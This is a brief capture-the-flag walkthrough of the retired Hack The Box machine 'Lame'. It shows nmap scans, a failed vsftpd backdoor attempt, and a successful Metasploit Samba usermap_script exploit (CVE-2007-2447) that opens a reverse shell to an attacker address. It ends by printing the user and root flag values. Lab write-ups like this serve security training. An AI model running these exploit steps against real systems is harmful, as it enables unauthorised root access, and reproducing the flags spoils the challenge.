Lame is a retired Linux machine that showcases basic enumeration and exploitation of vulnerable services. The box includes vulnerable versions of vsftpd and Samba, allowing for Metasploit-based exploitation. Ultimately, we gain a root shell through the user_map_script Samba exploit (CVE-2007-2447).
nmap -p- lame.htb --min-rate 5000
nmap -p 21,22,139,445 -sC -sV lame.htb -oN nmap_alert
Open Ports:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS lame.htb
msf6 exploit(...) > run
[*] Exploit completed, but no session was created.
📌 Likely blocked by local firewall or patched.
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS lame.htb
msf6 exploit(...) > set LHOST 10.10.14.12
msf6 exploit(...) > run
Result:
[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.10.10.3:42271)
cat /home/makis/user.txt
599b4dfc6f9118692e6238451b0b19df
cat /root/root.txt
7b81765f6ee8a59bb4d7de5df85e1903
Writeup by inkedqt